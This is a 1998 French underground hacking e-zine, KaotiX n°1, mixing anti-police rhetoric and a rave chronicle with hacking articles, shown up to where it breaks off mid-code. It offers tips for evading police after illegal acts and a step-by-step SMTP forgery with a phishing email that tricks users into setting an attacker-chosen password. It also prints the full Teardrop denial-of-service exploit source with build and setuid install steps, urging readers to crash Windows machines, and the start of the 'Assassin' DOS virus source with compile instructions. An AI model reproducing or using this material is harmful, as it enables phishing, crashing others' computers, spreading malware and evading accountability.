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# klh@mygale.org
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\ KOs aNd cYbErCuLtUre! /
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[ KaotiX N°I - edit 2 - juin98 ]
-=[iXtlan]=-
(k)1998
<<[ EDITO ]>>
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KaotiX est un E-zine (Electronic Fanzine) sur le hack, la cyberculture et les cyberpunks, la techno (teknival et free parties only), internet et le monde des rezos...l'underground subversif !
Depuis l'arrive en masse du grand public sur le monde des rezos planetaires (internet)les choses ont bien changées! Les keufs sont de plus en plus présents, verifiant les connexions, harcelant les ISP (internet service provider) pour qu'ils donnent le nom de tel ou tel individu considéré comme un hacker (pirate)et dont la police aimerait bien voir les activites cessées. Le pire c'est que la loi francaise oblige les ISP et societes d'hebergement de sites webs a connaitre les noms et adresse des personnes qu'elles hebergent et a les donner
aux autorités sur simple demande de celles ci!
Donc soyez vigilant! si vous lisez ce texte c'est que a priori la scene du hackin et la contre culture vous interessent, raison de plus pour surveiller vos arrieres!
voici quelques articles qui j'espere vous interesseront et ferrons peut etre changer votre facon de voir les choses, le monde, internet, les autres...
Et n'oublies pas que si le hackin est interdit c'est parcequ'il procure une sensation de liberté que les hautes spheres teknokrates de notre societe ne peuvent pas supporter (surment a cause de balai qui leur est reste coince dans le cul).Le hacker est comme un junkie, sauf que lui sa dope c'est la connexion, le web,le telnet, les systems d'exploitation et leur divers faillent qui lui permettent de zoner sur les serveurs du monde entier...
***kEeP oN hAcKiN aNd gEt sToNeD oF cOuRsE ;-)
#-:[ NOTA ]:-#
Si vous voulez recevoir les prochain numeros de KaotiX inscrivez vous sur la mailing list enenvoyant un mail a klh@mygale.org en parlant un peu de vous de ce que vous faites (ou voulez faire), histoire de verifier que vous n'etes pas de la poulice....
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| *** TABLE DES MATIERES *** |
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[ N° ]--------[ TITRE ]----------------------------------
00 # disclaimer!
01 # cyber parano ou comment rester libre
02 # comment hacker le SMTP d'un Unix
03 # Spiral 23 Tribe en France (faites la teuf!)
04 # les Nukers comment ca marche ?
05 # virus (code sources et compilation)
06 # IRC takeover et autres astuces
07 # hacker un user sur unix
08 # les dernieres conneries de microsoft
09 # comment cracker un password
10 # .htaccess (et ses failles)
11 # tools for a GNU generation
12 # da cyberpunk revolution
13 # comment planquer ses données
14 # the ANIRAE project for a free cyberspace...
15 # LinkZ on Da wEb ;P)
16 # remerciements...
Bon voila pour KaotiX n°1, la suite dans le n°2 a paraitre je sais pas trop quand... ;-)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#00#
¤¤¤[ DISCLAIMER ]¤¤¤
(lisez ca avant de lire la suite!)
Cette cyber publication est la a titre d'information, si vous utilisez son contenu dans un but mal intentionne, c'est pas ma faute! c'est vous qui agissez et si vous voulez me poursuivre pour incitation a des actes illegaux alors aller vous faire... ok?!:)
Le hacker n'a pas pour but de foutre en l'air un system mais simplement de le parcourir, donc evitez tout acte nefaste pour le system (c'est pas tres cool pour ceux qui doivent le gerer...)
Toutes les informations et sources contenues dans ce numero sont la a titre informatif, KaotiX ne garanti donc en aucun cas l'utilisation qui peut etre fait des divers exemples sites! De plus ce document s'adresse a des personnes censées et dont l'intellect s'eleve un peu plus haut que celui des keufs et autres enculés affiliés a l'administration francaise (ou etrangere). Si vous etes un keufs, ne lisez pas ce document (en tout cas je vous aurez prevenu) et le fait que vous le lisiez constiturai donc un violation des lois sur le copyright et la proprieté intellectuelle.....
!!! FRENCH POLICE SUCKS !!!
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#01#
___________________________
/ \------------//----//-----\\-0
< * CYBER PARANO * >----------//----//------//-0
\___ ___/----------//-----\\------\\-0
\ ou comment rester /-------------//-------\\-----//-0
\___ libre ___/-------------//---------\\----\\-0
\_________/----------------//-[ixtlan98]\\---//-0
S'il y a bien quelque chose qu'il faut eviter quand on a des pratiques illegales c'est de se faire prendre! voici donc quelques petits conseils pour vous eviter un jour de vous retrouver face a des individus bizzaroides aux noms evocateurs de commissaires, inspecteurs, brigadiers, sergents (aussi couramment appellés keufs, condes, flicailles, poulets, batards, et d'autres diminutifs tout aussi charmants que rassurants :)
Tout d'abord il faut TOUJOURS appliquer les quelques règles de bases suivantes, ce qui deja vous evitera d'etre chopper par des admins trop curieux!
1. Ne jamais devoiller son nom (utilisez un pseudo)
2. Ne jamais donner (meme a des personnes en qui ont a confiance) son numero de telephone ou son adresse...
3. N'utilisez pas l'email de votre provider pour faire transiter des infos a tenances illegales!
4. Ne frimez pas du genre "oui j'ai reussi a hacker tel ou tel server!"
5. encryptez toutes données piratées sur un serveur et planquez les dans des repertoire cachés (cf. article n°13)
6. en FTP tjrs utiliser un login anonyme
7. n'acceptez pas les cookies (JavaScripts ou CGI)
8. ne mettez pas votre email dans le mailer de votre browser !!!
9. deconnectez vous a la moindre alerte
10. n'avouez jamais avoir commis tel ou tel delit et ne signez jamais une deposition avant de l'avoir lue et relue et relue (ce qui fera bien chier les keufs!! hehe :)
voila les dix commandements qu'un hacker doit savoir suivre s'il veut rester libre! Ca a l'air con comme ca mais les hackers qui sont en taule ont tjrs ete pris parcqu'ils ont failli a une de ces regles! alors ne deconnez pas et pensez tjrs qu'il vaut mieux abandonner plutot que d'etre en taule (enfin c'est mon avis en tous cas !)
Bon maintenant que vous connaissez les regles voici comment faire pour les appliquer:
Il faut tjrs utilisez un pseudo, de preference un qui vous designe et qui fera que vos potes puissent vous reconnaitre (evitez donc les pseudos du style 'bob', 'bill' ou 'toto')... Ne signez jamais vos mails avec votre vrai nom et si vous aller sur IRC verifier bien votre RealName!
Les clients IRCII et BitchX vont par defaut vous appliquer comme RealName les donnees saisies par l'admin lorsqu'il vous a ouvert un compte... Ainsi il n'est pas rare de voir debarquez quelqu'un sur IRC et lorsqu'on fait un /whois sur son nick le client nous donne son vrai nom! pour cela il faut exporter la variable
REALNAME et lui donné une autre valeur. Voici comment faire pour IRCII et BitchX (qui sont les clients unix les plus repandus!)
loggez vous en telnet et taper au prompt
% set REALNAME="nouvelle_valleur"
% export REALNAME
(le nom de la variable doit toujours etre en majuscule)
il est possible que selon le shell que vous utilisez (bach, zsh, ksh, csh) la commande 'export' pose des problems. Dans ce cas editez votre fichier '.bashrc'(dans le cas de l'utilisation du shell bourne) dans un editeur type emacs ou vi et ajoutez la ligne suivante:
export REALNAME="nouvelle_valeur"
Note: le fichier .bashrc (ou .cshrc, .kshrc, .zshrc,...) est un fichier cache car il commence par '.' pour le lister tapez
% 'cd ~' (retour dans le homedir)
% 'ls -al' (liste tous les fichiers)
Bon voila comment faire pour eviter d'etre repere sur IRC... il est aussi preferable d'utiliser une IP dynamic ce qui compliquera la tache de quiconque qui essayerait de vous localiser!
En ce qui concerne l'Email, il est vivement deconseiller (tres vivement meme) de faire transiter des infos a caractère illégal via l'email que vous a attribué votre provider (car celui ci est tenu par la loi de communiquer tous les renseignements vous concernant aux autorités si elles le demande!)Pour pallier a ce problem vous pouver ouvrir un compte email sur un serveur gratuit (il y a en a de plus en plus sur le web) comme par exemple
--[URL]-------------[email]--[espace]--[smtp]---[qualite]
www.mygale.org oui 10Mo non *****
www.geocities.com oui 1Mo oui ***
www.chez.com oui 5Mo oui **
www.altern.org oui 5Mo ? ****
en plus d'un compte sur le www et d'un ftp ils vous fourniront une adresse email accessible en POP3. Il est aussi recommandé d'encoder toutes les données qui transiteront via le reseau (mot de passe, compte FTP, adresse www, et autres) en utilisant un encoder du type UUENCODE ou PGP (les sources de ces encoders sont sur le web) le mieux etant encore de creer son propre encoder en utilisant un protocole de codage connu uniquement de vous et celui a qui vous faites passer l'info ; par exemple remplacer chaque lettre par la son numero (A=0 B=1 C=2..) multiplie par la date d'envoie du courrier.... (1juin98 = 010698)Ainsi vous pouvez etre sure que personne ne decodera votre message :-)
Il est tres facilement possible de creer un encodeur/decodeur en faisant un fichier batch ou shell (suivant l' OS utilise:-)
bon voici un ptit protocole d'encodage qui pourrait vous etre utile:
A= 01 K= 11 U= 21 4= &4
B= 02 L= 12 V= 22 5= &5
C= 03 M= 13 W= 23 6= &6
D= 04 N= 14 X= 24 7= &7
E= 05 O= 15 Y= 25 8= &8
F= 06 P= 16 Z= 26 9= &9
G= 07 Q= 17 0= &0
H= 08 R= 18 1= &1
I= 09 S= 19 2= &2
J= 10 T= 20 3= &3
jusque la c'est plutot simple mais tout ce complique qd on mutliplie
chaque lettre par la date
ainsi en considerant que nous sommes le 01 juin 98:
A= 01 x 010698 = 010698 (A tjrs egal a la date)
B= 02 x 010698 = 021396
C= 03 x 010698 = 032094
etc...
les chiffres seront codés de la meme facon precedes de '&' soit
1 = &1 x 010698 = &010698
2 = &2 x 010698 = &021396
3 = &3 x 010698 = &032094
pour une bonne comprehension on separe chaque lettre par un '/' et chaque mot par par un retour a la ligne...chaque lettre est codee sur 6 caracteres (les chiffres etant precedes d '&')
bon aller petit exercice de comprehension! decodez moi cette phrase en sachant que la date est le 1er juin 98 ;-)
064188/192564/053490/149772/032094/085584/
171168/160470/128376/096282/032094/053490/
203262/224658/032094/117678/203262/
Si vous avez trouve envoyez un mail a klh@mygale.org avec la reponse et qui sait vous gagnerez peut etre un voyage sur la Lune ?!;)
voila pour l'encryptage :)
Mais il y a d'autre moyens de se faire reperer le plus courant etant d'oublier certains fondements de base du manuel de survie du parfait petit hacker!
Ne concentrez jamais les infos vous concernants au meme endroit!!!
C'est pourquoi il est vivement déconseiller de mettre son adresse email dans le mailer du browser. De meme il est tres mauvais d'accepter les cookies (qu'ils soient JavaScript ou CGI).
En effet un serveur FTP bien ficele qui recoit la visite d'un client FTP anonyme (ex:Netscape) connaitra l'IP de celui ci et pourra lancer une recherche d'ident sur la couche TCP/IP du provider utilisé...
Si le visiteur utilise un client IRC en meme tmp, le serveur FTP connaitra desormais son IP et son user ce qui est suffisant pour reconstituer l'email en question...(c'est comme ca que les listes
de spams se crées a cause de visiteurs qui ne font pas attention!)
Voila c'etait la partie pour les parano du rezo :) mais c'est en etant trop parano qu'on evite de finir dans une cage ou face a la brigade de repression des fraudes et d'application de la loi "informatique et liberte"... alors n'oubliez pas de faire attention a ce que vous faites et deconnectez vous a la moindre alerte!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#02#
=============\ /===============
_______\\___________________________//__________
/ \
[] -[ COMMENT HACKER LE SMTP D'UN UNIX ]- []
\________________________________________________/
# NOTE:
# Cet article est tiré d'un article de Noway (Ezine underground de # hack paru sur le rezo francais en 1994) ecrit par NeurAlien ;-)
Bon le principe est simple et requiert un minimum de connaissance dans le monde des systems Unix (si vous n'utilisez que fenetre95 alors sautez cette section ou meme aller vous couchez en oubliant ce que vous venez de lire! haha;-)
Bon sous unix le transfert de mail (SMTP= Simple Message Transfert Protocol) se fait via le module SendMail qui ecoute les messages des autres mailers et de ses clients via la port TCP numero 25
pour verifier ca, si vous me croyez pas, loggez vous sous le shell:
% grep smtp /etc/service
voila ce ki devrait apparaite alors :
smtp 25/tcp mail
voila donc comment proceder pour envoyez un faux email via le SMTP de votre system... faites un telnet sur votre serveur en utilisant le port 25, soit:
% telnet localhost 25
[ dans ce qui suit ce qui est tape au clavier commence par >>> ]
[ DaubeNet etant le nom fictif d'un serveur pas si fictif que ]
[ ca mais dont le DNS restera anonyme ! ;-) hehe.... ]
----------------
DaubeNet {102} >>> telnet localhost 25
Trying 127.0.0.1...
Connected to machine.server.fr
Escape character is '^]'.
220-DaubeNet Sendmail 8.6.5/8.6.5 ready at Thu, 01 June 98 03:51:55 -0600
220 ESMTP spoken here
>>>help
214-Commands:
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB
214-For more info use "HELP <topic>".
214-To report bugs in the implementation send email to
214- sendmail@CS.Berkeley.EDU.
214-For local information send email to Postmaster at your site.
214 End of HELP info
>>>help helo
214-HELO <hostname>
214- Introduce yourself.
214 End of HELP info
>>>help mail
214-MAIL FROM: <sender>
214- Specifies the sender.
214 End of HELP info
>>>help rcpt
214-RCPT TO: <recipient>
214- Specifies the recipient. Can be used any number of times.
214 End of HELP info
>>>help data
214-DATA
214- Following text is collected as the message.
214- End with a single dot.
214 End of HELP info
>>>help quit
214-QUIT
214- Exit sendmail (SMTP).
214 End of HELP info
>>>quit
221 DaubeNet closing connection
Connection closed by foreign host.
----------------------
Bon voila donc comment ca marche:
"Helo" vous presente
"mail from" designe l'adresse fictif que vous voulez employer
"rcpt to" designe la personne a qui envoyer le mail
----------------------
DaubeNet {103} >>> telnet localhost 25
Trying 127.0.0.1...
Connected to machine.server.fr
Escape character is '^]'.
220-DaubeNet Sendmail 8.6.5/8.6.5 ready at Thu, 15 Sep 1994 03:52:53 -0600
220 ESMTP spoken here
>>>helo ducon.fbi.com
250 DaubeNet Hello machine.server.fr[127.0.0.1], pleased to meet you
>>>mail from: root@ducon.fbi.com
250 root@ducon.fbi.com... Sender ok
>>>rcpt to: fred@machine.server.fr
250 fred@machine.server.fr... Recipient ok
>>>data
354 Enter mail, end with "." on a line by itself
>>>
>>>Please, would you stop playing with my Unix system otherwise i'll
>>>send a wet operation commando to your university.
>>>
>>>Nigel X.
>>>System Administrator at FBI Inc.
>>>root@fbi.com
>>>.
250 DAA00299 Message accepted for delivery
>>>quit
221 DaubeNet closing connection
Connection closed by foreign host.
----------------------
hahaha le fred@machine.server.fr va avoir la trouille de sa vie :) hehe... voila ce qu'il va voir en se loggant sur son shell :
----------------------
DaubeNet {104} >>> mail
Mail version 5.5 6/1/90. Type ? for help.
"/var/spool/mail/fred": 1 message 1 new
>N 1 root@ducon.fbi.com Thu Sep 15 03:55 14/508
& >>>1
Message 1:
From root@ducon.fbi.com Thu Sep 15 03:55:03 1994
From: root@ducon.fbi.com
Apparently-To: fred
Please, would you stop playing with my Unix system otherwise i'll
send a wet operation commando to your university.
Nigel X.
System Administrator at FBI Inc.
root@fbi.com
---------
hmmm toutefois l'astuce n'est pas parfaite car le "Apparently-To" ne fait pas tres credible! d'ou la petite bidouille a faire qui rendra votre mail parfaitement coherent :)
Il suffit de mettre dans le corp du mail (apres la commande 'data')
en premiere ligne du message
"To: fred@machine.server.fr"
voici en detail l'operation parfaite:
----------------------
DaubeNet {105} >>> telnet localhost 25
Trying 127.0.0.1...
Connected to machine.server.fr
Escape character is '^]'.
220-DaubeNet Sendmail 8.6.5/8.6.5 ready at Thu, 15 Sep 1994 03:55:43 -0600
220 ESMTP spoken here
>>>helo
250 DaubeNet Hello machine.server.fr [127.0.0.1], pleased to meet you
>>>mail from: root@fbi.com
250 root@fbi.com... Sender ok
>>>rcpt to: fred@machine.server.fr
250 fred@machine.server.fr... Recipient ok
>>>data
354 Enter mail, end with "." on a line by itself
>>>To: fred@machine.server.fr
>>>
>>>Good afternoon,
>>>
>>> Could you please stop playing with my unix system otherwise >>> i'll be forced to send one of our wet operations' commando to >>> execute you.
>>>
>>> Nigel X, System Administrator at Fbi Inc.
>>>.
250 DAA00307 Message accepted for delivery
>>>quit
221 DaubeNet closing connection
Connection closed by foreign host.
----------------------
et voila le fred@machine.server.fr va recevoir un mail completement transparant et il croira vraiment recevoir un mail depuis root@ducon.fbi.com !!!
En plus une telle manip vous rend indetecable puisque le "helo" lancé au server n'est suivi d'aucun argument, ce qui va faire donc que ce con de server se reconnaitra lui meme :) ehehe
voila de koi plaisanter pendant de bonnes heures avec ca :)
hacker le SMTP d'un serveur est interessant car il va vous permettre pas mal de petites libertes du genre mailer votre admin en l'engueulant quant a son incapacite technique a gerer le server ! (sans grand interet toutefois)mais aussi pourquoi pas a vous faire passer pour le deamon du systeme et a jouer de tous vos talents cachés pour recupérer des mots de passes sur les comptes
des autres utilisateurs :) hehe
voici un exemple qui a fait ses preuves plus d'une fois...
-------------------
faites un mail a un utilisateur choisi pour son incompetence technique sur unix en mettant en
"mail from: security-daemon@machine.server.fr"
ensuite regardez bien le log de l'unix sur lequel tourne votre serveur (ici on prend comme exemple le Digital Unix OSF1...
--------
from: security-daemon@machine.server.fr
To: fred@machine.server.fr
Subject: security automated mailing
*** This is a automated generated mailing: do not reply! ***
The security daemon of Digital Unix OSF1 (machine.server.fr)
has found that your password is unsecure. You should change it
to "uX23-dmp0" otherwise your account will be disabled.
To change you password type "passwd" in your shell and follow
the instuctions.
Thank you
Security Daemon
--------
hehe ainsi l'utilisateur preplexe obeira sans comprendre aux ordres de la soit disante machine et changera son mot de passe en ce que vous lui avait dit :)
et voila comment gagner un peu d'espace sur les disks des autres (lol:) Il paraitrait meme que NeurAlien aurait reussi a faire changer son pass a un admin qui a cretinement obeit aux ordres de packages securitaires qu'il n'a meme pas installes!
(vraiment con l'admin non? ?:)
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#03#
SPIRAL 23 TRIBE EN FRANCE
(faites la teuf!)
:
/9\
: n$X :
?L $$B :X
$B<: U$$$X :X!
7$$N$ <R$$$@ :W$E
T$$$i: @$$$& :u$$$$
M$$$$: @$$$R :t$$$$*
^%$_ 7"$$$:7$$$R:!@$$$*! _$%^
~$$$N$*%_\9$$$/R$$!$$$*:/_%$$$$*~
*$$$$$*WX!$N~$FtW#Xd$$$$$*
_ ^^^%$$$%%%%$$$%^^^ _
^^%%##%%#$$$%%%$%%$$$%^^
~~~~^:$$:^~~~~
X#
||
!!! LEGALIZE FREE TEKNO MUZIK !!!
par iXtlan (klh@mygale.org)
============================
Je sais pas si vous etes comme moi, mais j'ai tendance a tjrs me retrouver dans des plans illegaux? je sais pas si c'est par gout du risk mais dans tout ce que je fais je trouve un moyen d'aller contre la loi! Il faut dire aussi que les instances politiques et policieres francaises ont tendance a rendre illegal tous ce qui est fun: hack, phreak, drogues, teufs, teknival, etc...
Mais que faire? sois on rentre se coucher degoute de rater une occasion comme ca de faire la teuf... tout ca a cause de lois abjectes, soit on s'en fout et on va contre ces lois! moi j'ai deja choisi (hehe) et rien ne m'empechera d'aller en teuf, ou de hacker un system, ou de fumer de la 'rezine de kanabis' (comme dit le meilleur ami de l'homme: le keuf...)
Enfin voila koi:) Le retour des beaux jours annonce le retour des teknivals sur le sol francais... "les teknikoi ???" diront certains et a eux je repliquerai "les TEKNIVALs bordel! tu sais les grosses teufs hardcore illegales mais tellement terribles, peuplés de tribues de travelers nomades qui zonent sur les sols européens a le recherche des meilleurs coins pour faire la teuf!"
he oui l'inconvenient (mais aussi le charme) de ces teufs c'est qu'elles sont illegales et donc que les trouver est tjrs une aventure palpitante! D'abord faut trouver l'infoline ce qui est faisable en degotant le fly ('flyer' pas les fly qu'on degote au cours de la teuf! lol) ou en interogeant les relations que l'on a dans le milieu des teufers... ensuite faut reussir a appeller cette ptin d'infoline (ce qui nous donne encore une raison de maudir france telecom)
quand on voit la mauvaise qualite des services locaux de telephonie!
L'infoline nous revelent en general un lieu de rendez vous du genre
"Rendez vous sous le pont machin, entre 22h et 3h du mat"...
ahh cool mais c est ou la pont machin ?? (vu qu'on vient de se taper 300 bornes pour caller a cette teuf et qu'on debarque dans la ville on connait pas forcement tous les noms des ponts ! donc direction l'arret de bus le plus proche ou l'on trouve en general un plan de la ville .... au pire on peut tjrs demander aux indigenes locaux (style octogeneres bien peignes et effrayes par le look decadent des teufers qui viennent lui demander pour la quinzieme fois ou l'on peut touver
le pont machin!)
enfin apres moultes efforts et tracassements et a l'heure prevue on arrive a ce fameux pont pour la s'appercevoir que certes teufers il y a, mais aussi bcp de keufs squattent au bout de la rue regardant avec attention tout ce ptit monde s'agiter! Quoi qu'il en soit on va pas se gacher la teuf pour autant et un keum nous refile le plan pour aller jusqu'au lieu dit ou se deroule la teuf, yeah cool!
Et voila direction la Zone industrielle la plus proche pour y retourver les sounds systems et les teufers! Mais ont est tjrs loin de s'imaginer que a chaque fois il faut traverser des chemin cailleux (a peine si un 4x4 ose passer) rouler quelques dizaines de minutes dans la boue, en se disant "ptin c'est ou la teuf ?? on est dans un autre departement la".... puis finalement il est 2h du mat, on commence a se decourager quand on apercoit enfin les stroboscope au loin "hourraa!!!!" et oui c est tjrs le meme reconfort quand on trouve la teuf, les lights, et surtout le beat! Poum! Poum! Poum! un DJ mix un hardcore tonitruant (proche des 220bpm)l'endoit est magnifique, le ciel degagés et les etoiles scintillantes! en gros
ca vallait bien le detour koi :)
Et voila on est en teuf, a block sur le sound system, le corps se dechaine, et l'esprit se lache (il est vrai que les divers substances absorbées l'aide a partir dans tous les sens:)Et la deux options sont possibles: soit la teuf se deroule sans accros, nickel koi, noprob... soit les keufs arrivent et font cesser la zik ce qui est tjrs
hautement dezagreable!
voila c'etait la chronique de teufs, surtout que cet ete y'a les Spiral en France et pas mal de bonnes dates:) (notament un tekni en republic tchek hehe)
en conclusion: !!! FRENCH POLICE SUCKS !!!
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#04#
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@@@@@ @@@@@
@@@@@ LES NUKERS @@@@@
@@@@@ @@@@@
@@@@@ comment ca marche? @@@@@
@@@@@ @@@@@
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(k)1998
[iXtlan]
Les Nukes sont des attaques lancés depuis un poste connectés sur internet vers un autres poste lui aussi connecte.
Ces attaques utilisent une faille dans le noyau de l'OS visé, ainsi les machines sous Win95/Nt sont extremement faciles a Nuker! Le Nuke envoie des 'packets' d'informations vers une IP (identifiant la machine visee) qui vont faire planter le CPU (incapable de gerer toutes ces infos en meme tmp).
Il existe plusieurs Nukers pour Windows le meilleur etant sans conteste la version 2 de WinNuke32 ecrit par Nuke2Kill:
http://www.geocities.com/SiliconValley/Way/8056/
Cette version deux est en effet capable de planter n'importe quelle station sous windoze meme si celle ci est patchee! (le patche de microsoft etant un daube qui essaye veinement de pallier aux defaillance du system lui meme daube de chez daube!!!)
Si vous ne voulez pas etre nuker pas la peine d'installer 36 patches le seul moyen est d'installer LINUX!!!! (www.linux.org)
De plus l'installation de Linux (je vous conseil la distribution Debian ou RedHat) vous permettra de compiler les sources des meilleurs Nukers actuels que sont Teardrop, Newtear, Nestea, Octopus, NTsunKill, Bonk, Boink, etc...
(http://www.rootshell.com)
Ces nukers necessitent d'etre root pour etre installes donc le mieux est encore de recuperer un vieux 486 et d'installer Linux dessus! d'ailleurs vous pourrez vous servir de cette machine entant que Firewall pour votre rezo ce qui protegera vos stations win;-)
(en plus de ca vous pourrez vous debarrassez de votre WinGate qui est un prog certes bien utile mais n'assurant pas une securite adéquate: il existe plein de petits progs qui vont planter les wingates et ainsi deconnecter l'utilisateur!)
voici le source de Teardrop par route|daemon9 <route@infonexus.com> sans doute le meilleur nuke actuel!
/*
Debut du source de Teardrop
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;
fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/*
Fin du source de Teardrop
*/
pour utilisez ce nuke copiez le source ci-dessus et collez le dans un fichier
"teardrop.c"
loggez vous ensuite sur votre station linux et compilez le avec le GCC (compilateur
du projet GNU)
voici comment le compiler:
% gcc -O2 teardrop.c -o teardrop
copier ensuite le fichier executable teardrop dans /usr/local/bin
et faites un chmod +s teardrop
soit:
% cp teardrop /usr/local/bin
% cd /usr/local/bin
% chmod +s teardrop
desormais ou que vous soyez dans votre system en tapant "teardrop" vous
lancerez le Nuke
syntaxe: teardrop IP_adresse (ex: teardrop 134.59.0.1)
et voila Teardrop est capable de planter les stations sous
win95/98, winNT 4.0/5.0, OS2, MacOS, et meme certains Kernels de Linux!
hehe le pied koi :) lol
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#05#
________________________________
/ \
/ -[ VIRUS ]- \
/ codes sources et compilation \
/________________________________ixtlan\
bah desole j'ai pas pu m'empecher :)
voici donc le source de ASSASSIN un gentil ptit virus:) heheh
copier le source dans un fichier .asm et compiler le avec n'importe quel compilateur DOS :) et voilou :)
heheh
-----------
; Assassin (Bug Fix version)
; by Dark Slayer
mem_size equ offset memory_end-offset start
mem_para equ (mem_size+0fh)/10h
low_mem_size equ mem_size+100h
low_mem_para equ (low_mem_size+0fh)/10h
vir_size equ offset vir_end-offset start
vir_sector equ (vir_size+1ffh+2)/200h
constant_size equ offset constant-offset start
.model tiny
.code
org 0
start:
xor di,di
mov dx,ds:[di+2]
sub dh,5
mov ah,26h
int 21h
mov bp,ds:[di+2ch]
mov ah,4ah
mov bx,low_mem_para
int 21h
